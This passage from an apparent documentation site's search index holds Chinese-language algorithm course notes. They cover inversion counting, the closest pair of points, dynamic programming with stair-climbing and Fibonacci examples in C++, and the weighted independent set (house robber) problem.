<p>\u6362\u53e5\u8bdd\u8bf4\uff0c\u9006\u5e8f\u5bf9\u662f\u6570\u7ec4\u4e2d\u4e00\u4e2a\u8f83\u5927\u7684\u6570\u51fa\u73b0\u5728\u4e00\u4e2a\u8f83\u5c0f\u7684\u6570\u4e4b\u524d\u7684\u60c5\u51b5\u3002</p> <p>\u5206\u6cbb\u6cd5\u5c06\u95ee\u9898\u5206\u4e3a\u4e09\u7c7b</p> <ul> <li>\u5168\u5728\u5de6\u534a\u8fb9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570</li> <li>\u5168\u5728\u53f3\u534a\u8fb9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570</li> <li>\u8de8\u8d8a\u4e2d\u70b9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570</li> </ul> <p>\u4f46\u662f\u8de8\u8d8a\u4e2d\u70b9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570\u770b\u8d77\u6765\u4f3c\u4e4e\u6709\\(\\frac{n}{2} * \\frac{n}{2}\\)\u79cd\uff0c\u6240\u4ee5\u6211\u4eec\u6bcf\u6b21\u7b97\u5b8c\u5de6\u53f3\u4e24\u8fb9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570\u540e\uff0c\u8fdb\u884c\u4e00\u6b21merge sort\uff0c\u90a3\u4e48\u5408\u5e76\u8fc7\u7a0b\u4e2d\u8ba1\u7b97\u8de8\u8d8a\u4e2d\u70b9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570\u5c31\u53ea\u9700\u8981\u7ebf\u6027\u65f6\u95f4\u4e86\uff1a\u5728\u5408\u5e76\u4e24\u4e2a\u5df2\u6392\u5e8f\u7684\u5b50\u5e8f\u5217\u7684\u8fc7\u7a0b\u4e2d\u6211\u4eec\u5c31\u5f88\u5bb9\u6613\u5b8c\u6210\u9006\u5e8f\u5bf9\u7684\u8ba1\u7b97</p>"},{"location":"NOTE/ADS/wk6/#_9","title":"\u6700\u8fd1\u70b9\u5bf9\u95ee\u9898","text":"<p>\u8fd9\u662f\u76f8\u5f53\u7ecf\u5178\u7684\u5e94\u7528\u3002\u540c\u6837\u5206\u4e3a\u4e09\u4e2a\u90e8\u5206\uff0c\u5de6\u6700\u8fd1\u70b9\u5bf9\u3001\u53f3\u6700\u8fd1\u70b9\u5bf9\u548c\u5206\u79bb\u6700\u8fd1\u70b9\u5bf9\uff0c\u90a3\u4e48\u5173\u952e\u5c31\u5728\u4e8e\u7ebf\u6027\u5730\u627e\u5230\u5206\u79bb\u6700\u8fd1\u70b9\u5bf9\u3002</p> <p>\u6211\u4eec\u8bb0 \\(x\\) \u5750\u6807\u7684\u4e2d\u70b9\u7684\u6a2a\u5750\u6807\u4e3a \\(\\overline{x}\\)\uff0c\u8bb0\u4f5c\u5de6\u53f3\u4e24\u534a\u4e2d\u6700\u8fd1\u70b9\u5bf9\u8ddd\u79bb\u4e3a \\(\\delta\\)\u3002\u56e0\u4e3a\u6211\u4eec\u8981\u627e\u5206\u79bb\u6700\u8fd1\u70b9\u5bf9\uff0c\u4e8e\u662f\u53ea\u8981\u8003\u8651 \\([\\overline{x}-\\delta, \\overline{x}+\\delta]\\) \u4e4b\u95f4\u7684\u6240\u6709\u70b9 $ q_1, q_2, \\cdots, q_n $\uff0c\u5b83\u4eec\u6309 \\(y\\) \u5750\u6807\u4ece\u5c0f\u5230\u5927\u6392\u5e8f\u3002\u8bbe \\(q_i\\) \u7684  \\(y\\) \u5750\u6807\u4e3a \\(y_i\\)\uff0c\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u4ece\u4e0b\u5f80\u4e0a\u68c0\u67e5\u5750\u6807\u5728 \\([\\overline{x}-\\delta, \\overline{x}+\\delta]\\) \u548c \\([y_i, y_i+\\delta]\\) \u4e4b\u95f4\u7684\u957f\u65b9\u5f62\u533a\u57df\u4e2d\u7684\u6240\u6709\u70b9\uff0c\u8003\u5bdf\u8fd9\u4e9b\u70b9\u662f\u5426\u548c \\(q_i\\) \u6709\u66f4\u8fd1\u7684\u70b9\u5bf9\u5373\u53ef\u3002</p> <p>\u6211\u4eec\u5c06\u8fd9\u4e2a\u957f\u65b9\u5f62\u533a\u57df\u5206\u4e3a\u5e73\u5747\u5206\u5272\u6210 8 \u5757\uff0c\u5219\u6bcf\u5757\u5185\u6700\u591a\u51fa\u73b0\u4e00\u4e2a\u70b9\uff08\u5426\u5219\u6bcf\u5757\u5185\u4e24\u70b9\u4e4b\u95f4\u7684\u8ddd\u79bb\u5c31\u4e0d\u8d85\u8fc7 \\(\\dfrac{\\sqrt{2}}{2} \\delta\\) \u4e86\uff0c\u8fd9\u5c31\u4e0e\u5de6\u53f3\u4e24\u534a\u4e2d\u6700\u8fd1\u70b9\u5bf9\u8ddd\u79bb\u4e3a \\(\\delta\\) \u76f8\u77db\u76fe\uff09\uff0c\u4e8e\u662f\u5bf9\u4e8e\u6bcf\u4e2a \\(q_i\\)\uff0c\u6211\u4eec\u81f3\u591a\u53ea\u9700\u8981\u5411\u4e0a\u627e 7 \u4e2a\u70b9\u5373\u53ef\u3002</p> <p>\u5b9e\u9645\u4e0a\u6211\u4eec\u8fd8\u53ef\u4ee5\u628a\u8fd9 7 \u4e2a\u70b9\u8fdb\u4e00\u6b65\u51cf\u5c11\uff1a</p> <ul> <li> <p>\u4f8b\u5982\u5f53\u524d\u6211\u4eec\u5faa\u73af\u5230\u4e86\u4e00\u4e2a\u5728\u5de6\u534a\u8fb9\u7684\u70b9\uff0c\u90a3\u4e48\u6574\u4e2a\u5de6\u534a\u8fb9\u7684\u70b9\u90fd\u4e0d\u9700\u8981\u8003\u8651\uff0c\u53ea\u9700\u8981\u8003\u8651\u53f3\u534a\u8fb9 4 \u4e2a\u683c\u5b50\u6700\u591a\u7684 4 \u4e2a\u70b9\u3002\u4f46\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u79cd\u60c5\u51b5\u4f60\u9700\u8981\u63d0\u524d\u7ef4\u62a4\u597d\u5de6\u53f3\u4e24\u8fb9\u5404\u81ea\u7684\u6309 y \u5750\u6807\u6392\u5e8f\u7684\u70b9\u5217\uff0c\u7136\u540e\u8981\u7ef4\u62a4 y \u5750\u6807\u7d27\u8ddf\u7740\u5de6\u534a\u8fb9\u7684\u6bcf\u4e2a\u70b9\u7684\u56db\u4e2a\u53f3\u534a\u8fb9\u7684\u70b9\uff0c\u5bf9\u79f0\u7684\u53f3\u534a\u8fb9\u4e5f\u8981\u7ef4\u62a4\uff0c\u8fd9\u5e76\u4e0d\u590d\u6742\u3002</p> </li> <li> <p>\u518d\u66f4\u8fdb\u4e00\u6b65\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u5c06 4 \u8fd9\u4e2a\u6570\u5b57\u964d\u4e3a 3\u3002\u56e0\u4e3a\u6211\u4eec\u6bcf\u5728\u53f3\u534a\u90e8\u5206\u653e\u4e00\u4e2a\u70b9(\\(q_i\\) \u5728\u53f3\u534a\u90e8\u5206)\uff0c\u90a3\u4e48\u5728\u53f3\u534a\u90e8\u5206\uff0c\u4ee5\u8fd9\u4e2a\u70b9\u4e3a\u5706\u5fc3\u534a\u5f84\u4e3a \\(\\delta\\) \u7684\u5706\u5185\u4e0d\u53ef\u80fd\u518d\u6709\u53e6\u4e00\u4e2a\u70b9\uff0c\u4e8b\u5b9e\u4e0a\u6700\u5dee\u7684\u60c5\u51b5\u5c31\u662f\u6709\u56db\u4e2a\u8fd9\u6837\u7684\u5706\u5fc3\uff0c\u6b64\u65f6\u8fd9\u56db\u4e2a\u5706\u5fc3\u5728\u5de6\u534a\u533a\u57df\u7684\u56db\u4e2a\u89d2\u4e0a\uff08\\((0,0)\\), \\((0, \\delta)\\), \\((\\delta, 0)\\), \\((\\delta, \\delta)\\)\uff09\uff0c\u8fd9\u65f6\u5019\u6beb\u65e0\u7591\u95ee\u7684\u5c31\u662f \\((0, 0)\\) \u5904\u7684\u70b9\u6700\u597d\u3002\u800c\u5176\u5b83\u60c5\u51b5\u4e0b\u4e0d\u53ef\u80fd\u6709\u56db\u4e2a\u5706\u5fc3\uff0c\u53ea\u80fd\u6709\u4e09\u4e2a\uff0c\u90a3\u4e48\u5728\u6700\u591a\u4e09\u4e2a\u5706\u5fc3\u4e2d\u5bfb\u627e\u6700\u8fd1\u70b9\u5bf9\uff0c\u4e5f\u5c31\u53ea\u9700\u8981\u904d\u5386 3 \u4e2a\u70b9\u5c31\u8db3\u591f\u4e86</p> </li> </ul>"},{"location":"NOTE/ADS/wk7/","title":"Dynamic Programming","text":"<p> \u7ea6 2994 \u4e2a\u5b57  58 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p> <p>\u52a8\u6001\u89c4\u5212\u7684\u7531\u6765</p> <p>\u52a8\u6001\u89c4\u5212\uff08Dynamic Programming\uff0cDP\uff09\u662f\u4e00\u79cd\u89e3\u51b3\u6700\u4f18\u5316\u95ee\u9898\u7684\u65b9\u6cd5\uff0c\u5b83\u901a\u8fc7\u5c06\u590d\u6742\u95ee\u9898\u5206\u89e3\u4e3a\u66f4\u7b80\u5355\u7684\u5b50\u95ee\u9898\u6765\u6c42\u89e3\u3002\u8fd9\u79cd\u65b9\u6cd5\u6700\u65e9\u7531\u7406\u67e5\u5fb7\u00b7\u8d1d\u5c14\u66fc\uff08Richard Bellman\uff09\u57281950\u5e74\u4ee3\u63d0\u51fa\uff0c\u6700\u521d\u662f\u7528\u4e8e\u89e3\u51b3\u51b3\u7b56\u8fc7\u7a0b\u4e2d\u7684\u95ee\u9898\uff0c\u5c24\u5176\u662f\u5728\u63a7\u5236\u8bba\u548c\u8fd0\u7b79\u5b66\u9886\u57df\u3002</p> <p>\u52a8\u6001\u89c4\u5212\u7684\u57fa\u672c\u601d\u60f3\u662f\u5229\u7528\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\u6784\u9020\u51fa\u539f\u95ee\u9898\u7684\u6700\u4f18\u89e3\u3002\u5b83\u7684\u7531\u6765\u53ef\u4ee5\u8ffd\u6eaf\u5230\u4ee5\u4e0b\u51e0\u4e2a\u5173\u952e\u70b9\uff1a</p> <ul> <li> <p>\u91cd\u53e0\u5b50\u95ee\u9898\uff1a\u8bb8\u591a\u6700\u4f18\u5316\u95ee\u9898\u53ef\u4ee5\u5206\u89e3\u6210\u91cd\u53e0\u7684\u5b50\u95ee\u9898\uff0c\u52a8\u6001\u89c4\u5212\u901a\u8fc7\u8bb0\u5f55\u5b50\u95ee\u9898\u7684\u89e3\u6765\u907f\u514d\u91cd\u590d\u8ba1\u7b97\u3002</p> </li> <li> <p>\u6700\u4f18\u5b50\u7ed3\u6784\uff1a\u5982\u679c\u4e00\u4e2a\u95ee\u9898\u7684\u6700\u4f18\u89e3\u5305\u542b\u5176\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff0c\u5219\u53ef\u4ee5\u901a\u8fc7\u89e3\u51b3\u5b50\u95ee\u9898\u6765\u6784\u9020\u539f\u95ee\u9898\u7684\u89e3\u3002</p> </li> <li> <p>\u8d1d\u5c14\u66fc\u65b9\u7a0b\uff1a\u8d1d\u5c14\u66fc\u63d0\u51fa\u4e86\u4e00\u4e2a\u9012\u5f52\u5173\u7cfb\uff08\u5373\u8d1d\u5c14\u66fc\u65b9\u7a0b\uff09\uff0c\u63cf\u8ff0\u4e86\u5982\u4f55\u901a\u8fc7\u5b50\u95ee\u9898\u7684\u89e3\u6765\u5f97\u5230\u539f\u95ee\u9898\u7684\u89e3\u3002</p> </li> </ul> <p>\u52a8\u6001\u89c4\u5212\u7684\u5e94\u7528\u5e7f\u6cdb\uff0c\u5305\u62ec\u80cc\u5305\u95ee\u9898\u3001\u6700\u77ed\u8def\u5f84\u95ee\u9898\u3001\u6700\u957f\u516c\u5171\u5b50\u5e8f\u5217\u7b49\u591a\u4e2a\u9886\u57df\uff0c\u662f\u7b97\u6cd5\u8bbe\u8ba1\u4e2d\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6982\u5ff5\u3002</p>"},{"location":"NOTE/ADS/wk7/#-","title":"\u5f15\u5165\u52a8\u6001\u89c4\u5212-\u722c\u697c\u68af\u95ee\u9898","text":"<p>Question</p> <p>\u5047\u8bbe\u4f60\u6b63\u5728\u722c\u697c\u68af\u3002\u9700\u8981\u722c n \u9636\u4f60\u624d\u80fd\u5230\u8fbe\u697c\u9876\u3002\u6bcf\u6b21\u4f60\u53ef\u4ee5\u722c 1 \u6216 2 \u4e2a\u53f0\u9636\uff0c\u6c42\u6709\u591a\u5c11\u79cd\u4e0d\u540c\u7684\u65b9\u6cd5\u722c\u5230\u697c\u9876\uff0c\u6211\u4eec\u8981\u6c42\u7b97\u6cd5\u5728\u7ebf\u6027\u65f6\u95f4\u5185\u89e3\u51b3\u8fd9\u4e00\u95ee\u9898\u3002</p> <p>\u5982\u679c\u6211\u4eec\u8981\u4f7f\u7528\u5e38\u89c4\u7684\u8ba1\u6570\u65b9\u6cd5\u6216\u8005\u5206\u6cbb\u6cd5\u6765\u8ba1\u7b97\uff0c\u5176\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u8fbe\u4e0d\u5230\u7ebf\u6027\u65f6\u95f4\u7684\u8981\u6c42\u7684\uff1b\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u52a8\u6001\u89c4\u5212\u7684\u65b9\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002</p> <p>\u8003\u8651\u6700\u540e\u4e00\u6b65\uff0c\u5f53\u6211\u4eec\u5373\u5c06\u5230\u8fbe\u697c\u9876\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u722c 1 \u4e2a\u53f0\u9636\u6216\u8005 2 \u4e2a\u53f0\u9636\u3002\u5982\u679c\u6211\u4eec\u9009\u62e9\u722c 1 \u4e2a\u53f0\u9636\uff0c\u90a3\u4e48\u524d\u9762\u7684 n-1 \u4e2a\u53f0\u9636\u6709\u591a\u5c11\u79cd\u722c\u6cd5\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u4e86\uff1b\u5982\u679c\u6211\u4eec\u9009\u62e9\u722c 2 \u4e2a\u53f0\u9636\uff0c\u90a3\u4e48\u524d\u9762\u7684 n-2 \u4e2a\u53f0\u9636\u6709\u591a\u5c11\u79cd\u722c\u6cd5\u6211\u4eec\u4e5f\u77e5\u9053\u4e86\u3002\u56e0\u6b64\uff0c\u722c\u5230\u7b2c n \u9636\u7684\u65b9\u6cd5\u6570\u5c31\u662f\u722c\u5230\u7b2c n-1 \u9636\u548c\u7b2c n-2 \u9636\u7684\u65b9\u6cd5\u6570\u4e4b\u548c\u3002\u5373\uff1a</p> \\[    f(n) = f(n-1) + f(n-2) \\] <p>\u8fd9\u5c31\u662f\u6590\u6ce2\u90a3\u5951\u6570\uff0c\u7136\u800c\u867d\u7136\u8fd9\u4e2a\u5f62\u5f0f\u662f\u5982\u6b64\u4f18\u7f8e\uff0c\u4ee3\u7801\u4e5f\u662f\u5982\u6b64\u7b80\u5355</p> <pre><code>int fib(int n) {\n    if (n &lt;= 1) return 1; \n    return fib(n-1) + fib(n-2);\n}\n</code></pre> <p>\u4f46\u662f\u6bcf\u4e00\u6b21\u8ba1\u7b97\u6211\u4eec\u90fd\u9700\u8981\u8ba1\u7b97\u5230\u6700\u6df1\u518d\u8fd4\u56de\uff0c\u8fd9\u6837\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u7206\u70b8\u7684\uff1b\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u52a8\u6001\u89c4\u5212\u7684\u65b9\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u4e00\u4e2a\u6570\u7ec4\u6765\u4fdd\u5b58\u6bcf\u4e00\u6b65\u7684\u7ed3\u679c\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5728 O(n) \u7684\u65f6\u95f4\u5185\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002</p> <pre><code>int fib(int n) {\n    if (n &lt;= 1) return 1;\n    vector&lt;int&gt; dp(n+1, 0);\n    dp[0] = dp[1] = 1;\n    for (int i = 2; i &lt;= n; i++) {\n        dp[i] = dp[i-1] + dp[i-2];\n    }\n    return dp[n];\n}\n</code></pre> <p>\u8fd9\u4e00\u91cd\u8981\u7684\u601d\u60f3\u6211\u4eec\u79f0\u5176\u4e3a \u201c\u8bb0\u5fc6\u5316\u201d\uff0c\u975e\u5e38\u5f62\u8c61\uff0c\u56e0\u4e3a\u6211\u4eec\u5c31\u662f\u5229\u7528\u989d\u5916\u7684\u7a7a\u95f4\u8bb0\u4f4f\u66fe\u7ecf\u7b97\u8fc7\u7684\u7ed3\u679c\uff0c\u4ece\u800c\u907f\u514d\u4e86\u91cd\u590d\u8ba1\u7b97\u7684\u95ee\u9898\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u539f\u5148\u9012\u5f52\u7684\u65b9\u6cd5\u5b9e\u9645\u4e0a\u662f\u4e00\u79cd \u201c\u81ea\u9876\u5411\u4e0b\u201d \u7684\u65b9\u6cd5\uff0c\u5b83\u7b26\u5408\u6211\u4eec\u7684\u76f4\u63a5\u601d\u8def\uff1a\u6700\u540e\u957f\u5ea6\u4e3a n \u7684\u95ee\u9898\u9700\u8981\u957f\u5ea6\u4e3a n \u2212 1 \u548c n \u2212 2 \u7684\u6c42\u548c\uff0c\u90a3\u6211\u4eec\u7684\u4ee3\u7801\u76f4\u63a5\u5229\u7528\u9012\u5f52\u8ba1\u7b97\u9012\u5f52\u5f0f\u663e\u5f97\u975e\u5e38\u81ea\u7136\u3002\u4f46\u662f\u91cd\u590d\u7684\u8ba1\u7b97\u8feb\u4f7f\u6211\u4eec\u653e\u5f03\u8fd9\u79cd\u81ea\u7136\u7684\u60f3\u6cd5\uff0c\u8f6c\u800c\u91c7\u7528\u81ea\u5e95\u5411\u4e0a\u4ece\u5c0f\u95ee\u9898\u9010\u6b65\u8fed\u4ee3\u6784\u5efa\u539f\u95ee\u9898\u7684\u89e3\u6cd5\u3002</p> <p>Summary</p> <p>\u5728\u722c\u697c\u68af\u8fd9\u4e00\u7b80\u5355\u800c\u7ecf\u5178\u7684\u95ee\u9898\u4e2d\uff0c\u901a\u8fc7\u5bf9\u6700\u540e\u4e00\u6b65\u4e24\u79cd\u60c5\u51b5\u7684\u5206\u7c7b\uff0c\u5c06\u6574\u4e2a\u95ee\u9898\u7684\u89e3\u8f6c\u5316\u4e3a\u4e86\u4e24\u4e2a\u5b50\u95ee\u9898\u89e3\u7684\u6c42\u548c\uff0c\u5373\u6709\u4e00\u4e2a\u4ece\u5b50\u95ee\u9898\u7684\u89e3\u5230\u539f\u95ee\u9898\u7684\u89e3\u7684\u9012\u63a8\u516c\u5f0f\uff0c\u7136\u540e\u6211\u4eec\u901a\u8fc7\u8bb0\u5fc6\u5316\u7684\u65b9\u5f0f\u6c42\u89e3\u9012\u63a8\u5f0f\u3002\u6211\u4eec\u5c06\u4e0a\u8ff0\u7279\u70b9\u62bd\u8c61\u51fa\u6765\uff1a \u4e00\u4e2a\u95ee\u9898\uff0c\u5b83\u7684\u6700\u4f18\u89e3\u53ef\u4ee5\u8868\u8fbe\u4e3a\u4e00\u4e9b\u5408\u9002\u7684\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\u7684\u9012\u63a8\u5173\u7cfb\uff0c\u5219\u6211\u4eec\u79f0\u8fd9\u4e00\u95ee\u9898\u5177\u6709\u6700\u4f18\u5b50\u7ed3\u6784\u6027\u8d28(\u56e0\u4e3a\u5927\u95ee\u9898\u7684\u6700\u4f18\u89e3\u53ef\u4ee5\u76f4\u63a5\u4f9d\u8d56\u4e8e\u5c0f\u95ee\u9898\u7684\u6700\u4f18\u89e3) \u3002\u7136\u540e\u6211\u4eec\u6c42\u89e3\u8fd9\u4e00\u9012\u63a8\u5f0f\uff0c\u901a\u8fc7\u8bbe\u7f6e\u597d base case\uff08\u8fd9\u91cc\u6211\u4eec\u4e5f\u7528 basecase \u6307\u4ee3\u6700\u7b80\u5355\u7684\u60c5\u51b5\uff0c\u4f46\u6ce8\u610f\u8fd9\u65f6\u4e0d\u662f\u9012\u5f52\u4e86\uff09\uff0c\u7136\u540e\u901a\u8fc7\u8bb0\u5fc6\u5316\u7684\u65b9\u6cd5\uff0c\u4f7f\u7528\u8fed\u4ee3\u7b97\u6cd5\u800c\u975e\u8d39\u65f6\u7684\u9012\u5f52\u7b97\u6cd5\u907f\u514d\u5197\u4f59\u8ba1\u7b97\uff0c\u5f97\u5230\u4e00\u4e2a\u65f6\u95f4\u590d\u6742\u5ea6\u4ee4\u4eba\u6ee1\u610f\u7684\u7b97\u6cd5\uff0c\u8fd9\u5c31\u662f\u52a8\u6001\u89c4\u5212\u7684\u57fa\u672c\u60f3\u6cd5\u3002</p> \u52a8\u6001\u89c4\u5212 \u57fa\u672c\u7ed3\u6784 <p>\u52a8\u6001\u89c4\u5212\u65b9\u6cd5\u901a\u5e38\u7528\u6765\u6c42\u89e3\u6700\u4f18\u5316\u95ee\u9898\uff08optimization problem\uff09\u3002\u8fd9\u7c7b\u95ee\u9898\u53ef\u4ee5\u6709\u5f88\u591a\u53ef\u884c\u89e3\uff0c\u6bcf\u4e2a\u89e3\u90fd\u6709\u4e00\u4e2a\u503c\uff0c\u6211\u4eec\u5e0c\u671b\u5bfb\u627e\u5177\u6709\u6700\u4f18\u503c\uff08\u6700\u5c0f\u503c\u6216\u6700\u5927\u503c\uff09\u7684\u89e3\u3002\u6211\u4eec\u79f0\u8fd9\u6837\u7684\u89e3\u4e3a\u95ee\u9898\u7684\u4e00\u4e2a\u6700\u4f18\u89e3\uff08an optimal solution\uff09\uff0c\u800c\u4e0d\u662f\u6700\u4f18\u89e3\uff08the optimal solution\uff09\uff0c\u56e0\u4e3a\u53ef\u80fd\u6709\u591a\u4e2a\u89e3\u90fd\u8fbe\u5230\u6700\u4f18\u503c\u3002 \u6211\u4eec\u901a\u5e38\u6309\u5982\u4e0b 4 \u4e2a\u6b65\u9aa4\u6765\u8bbe\u8ba1\u4e00\u4e2a\u52a8\u6001\u89c4\u5212\u7b97\u6cd5\uff1a</p> <ul> <li>\u523b\u753b\u4e00\u4e2a\u6700\u4f18\u89e3\u7684\u7ed3\u6784\u7279\u5f81\uff1b</li> <li>\u9012\u5f52\u5730\u5b9a\u4e49\u6700\u4f18\u89e3\u7684\u503c\uff1b</li> <li>\u8ba1\u7b97\u6700\u4f18\u89e3\u7684\u503c\uff0c\u901a\u5e38\u91c7\u7528\u81ea\u5e95\u5411\u4e0a\u7684\u65b9\u6cd5\uff1b</li> <li>\u5229\u7528\u8ba1\u7b97\u51fa\u7684\u4fe1\u606f\u6784\u9020\u4e00\u4e2a\u6700\u4f18\u89e3\u3002</li> </ul> <p>\u524d\u4e09\u4e2a\u6b65\u9aa4\u662f\u52a8\u6001\u89c4\u5212\u7b97\u6cd5\u6c42\u89e3\u95ee\u9898\u7684\u57fa\u7840\u3002\u5982\u679c\u6211\u4eec\u4ec5\u4ec5\u9700\u8981\u4e00\u4e2a\u6700\u4f18\u89e3\u7684\u503c\uff0c\u800c\u975e\u89e3\u672c\u8eab\uff0c\u53ef\u4ee5\u5ffd\u7565\u6700\u540e\u4e00\u4e2a\u6b65\u9aa4</p> <p>\u66f4\u7cbe\u70bc\u5730\uff0c\u4e8b\u5b9e\u4e0a\u52a8\u6001\u89c4\u5212\u5c31\u662f\u4e3a\u4e00\u4e2a\u5177\u6709\u6240\u8c13\u6700\u4f18\u5b50\u7ed3\u6784\u6027\u8d28\uff08\u5373\u539f\u95ee\u9898\u6700\u4f18\u89e3\u53ef\u4ee5\u7531\u5b50\u95ee\u9898\u6700\u4f18\u89e3\u9012\u63a8\u5f97\u5230\uff09\u7684\u6700\u4f18\u5316\u95ee\u9898\u5bfb\u627e\u4e00\u4e2a\u5b50\u95ee\u9898\u5230\u539f\u95ee\u9898\u7684\u9012\u63a8\u5f0f\uff0c\u7136\u540e\u7528\u8bb0\u5fc6\u5316\u65b9\u6cd5\u6c42\u89e3\uff0c\u6709\u65f6\u5019\u9700\u8981\u6784\u9020\u8fd9\u4e00\u7ec4\u89e3</p>"},{"location":"NOTE/ADS/wk7/#_1","title":"\u52a0\u6743\u72ec\u7acb\u96c6\u5408\u95ee\u9898","text":"<p>\u95ee\u9898\u5f15\u5165</p> <p>\u4f60\u662f\u4e00\u4e2a\u4e13\u4e1a\u7684\u5c0f\u5077\uff0c\u8ba1\u5212\u5077\u7a83\u6cbf\u8857\u7684\u623f\u5c4b\u3002\u6bcf\u95f4\u623f\u5185\u90fd\u85cf\u6709\u4e00\u5b9a\u7684\u73b0\u91d1\uff0c\u5f71\u54cd\u4f60\u5077\u7a83\u7684\u552f\u4e00\u5236\u7ea6\u56e0\u7d20\u5c31\u662f\u76f8\u90bb\u7684\u623f\u5c4b\u88c5\u6709\u76f8\u4e92\u8fde\u901a\u7684\u9632\u76d7\u7cfb\u7edf\uff0c\u5982\u679c\u4e24\u95f4\u76f8\u90bb\u7684\u623f\u5c4b\u5728\u540c\u4e00\u665a\u4e0a\u88ab\u5c0f\u5077\u95ef\u5165\uff0c\u7cfb\u7edf\u4f1a\u81ea\u52a8\u62a5\u8b66\u3002\u7ed9\u5b9a\u4e00\u4e2a\u4ee3\u8868\u6bcf\u4e2a\u623f\u5c4b\u5b58\u653e\u91d1\u989d\u7684\u975e\u8d1f\u6574\u6570\u6570\u7ec4\uff0c\u8ba1\u7b97\u4f60\u4e0d\u89e6\u52a8\u8b66\u62a5\u88c5\u7f6e\u7684\u60c5\u51b5\u4e0b\uff0c\u4e00\u591c\u4e4b\u5185\u80fd\u591f\u5077\u7a83\u5230\u7684\u6700\u9ad8\u91d1\u989d</p> <p>\u95ee\u9898\u53ef\u4ee5\u88ab\u62bd\u8c61\u4e3a</p> <p>\u8003\u8651\u4e00\u4e2a\u65e0\u5411\u56fe G\uff0c\u5176\u4e0a\u6240\u6709\u70b9\u90fd\u5728\u4e00\u6761\u7ebf\u4e0a\uff08\u8fd9\u79cd\u56fe\u6211\u4eec\u79f0\u5176\u4e3a\u8def\u5f84\u56fe\uff09\uff0c\u6bcf\u4e2a\u70b9\u90fd\u6709\u4e00\u4e2a\u975e\u8d1f\u6743\u91cd\u3002\u6211\u4eec\u79f0 G \u7684\u72ec\u7acb\u96c6\u5408\u662f\u6307\u9876\u70b9\u4e92\u4e0d\u76f8\u90bb\u7684\u5b50\u96c6\uff08\u6362\u53e5\u8bdd\u8bf4\u72ec\u7acb\u96c6\u5408\u4e0d\u4f1a\u540c\u65f6\u5305\u542b\u4e00\u6761\u8fb9\u4e0a\u7684\u4e24\u4e2a\u70b9\uff09\uff0c\u7136\u540e\u8981\u6c42\u89e3\u4e00\u4e2a\u5177\u6709\u6700\u5927\u9876\u70b9\u6743\u91cd\u548c\u7684\u72ec\u7acb\u96c6\u5408\u3002</p> \u7b80\u5355\u4f8b\u5b50 <p> </p> <p>\u5728\u8fd9\u4e2a\u56fe\u4e2d\u6709 8 \u4e2a\u72ec\u7acb\u5b50\u96c6\uff1a</p> <ul> <li>\u7a7a\u96c6</li> <li>\u56db\u4e2a\u5355\u70b9\u96c6</li> <li>\u7b2c 1 \u548c\u7b2c 3 \u4e2a\u70b9</li> <li>\u7b2c 1 \u548c\u7b2c 4 \u4e2a\u70b9</li> <li>\u7b2c 2 \u548c\u7b2c 4 \u4e2a\u70b9</li> </ul> <p>\u5176\u4e2d\u6700\u5927\u7684\u72ec\u7acb\u96c6\u5408\u663e\u7136\u662f\u7b2c 2 \u548c\u7b2c 4 \u4e2a\u70b9\u6784\u6210\u7684\u96c6\u5408\uff0c\u5176\u6743\u91cd\u548c\u4e3a 8\uff0c\u5373\u5c0f\u5077\u7684\u6700\u4f18\u9009\u62e9\u662f\u5077 2 \u548c 4 \u4e24\u5bb6\uff0c\u6700\u5927\u6536\u76ca\u662f 8\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u9898\u76ee\u7684\u5047\u8bbe\u4e2d\u6bcf\u4e2a\u9876\u70b9\u90fd\u6709\u975e\u8d1f\u6743\u91cd\uff0c\u6240\u4ee5\u6700\u4f18\u89e3\u7684\u9876\u70b9\u5e94\u5f53\u662f\u8d8a\u591a\u8d8a\u597d\u3002</p> <p>\u4e3a\u4e86\u6784\u5efa\u51fa\u8fd9\u4e00\u95ee\u9898\u7684\u6700\u4f18\u5b50\u7ed3\u6784\uff0c\u6211\u4eec\u8003\u8651\u5728\\(n\\)\u4e2a\u70b9\uff0c\\(n-1\\)\u6761\u8fb9\u6784\u6210\u7684\u56fe\\(G(V,E)\\)\u4e2d\u6700\u540e\u4e00\u4e2a\u70b9\\(v_n\\) \u5728\u4e0d\u5728\u89e3\u5f53\u4e2d\uff1a</p> <ul> <li>\u5982\u679c\u4e0d\u5728\uff0c\u90a3\u4e48\u95ee\u9898\u7684\u89e3\u5c31\u662f\u5b50\u95ee\u9898\\(G_{n-1}\\)\u7684\u6700\u4f18\u89e3</li> <li>\u5982\u679c\u5728\uff0c\u90a3\u4e48\u95ee\u9898\u7684\u89e3\u5c31\u662f\u5b50\u95ee\u9898\\(G_{n-2}\\)\u7684\u6700\u4f18\u89e3\u52a0\u4e0a\\(v_n\\)</li> </ul> <p>\u6545\u8bbe\u524d \\(i\\) \u4e2a\u70b9\u7684\u6700\u4f18\u52a0\u6743\u72ec\u7acb\u96c6\u5408\u7684\u6743\u91cd\u4e4b\u548c\u4e3a 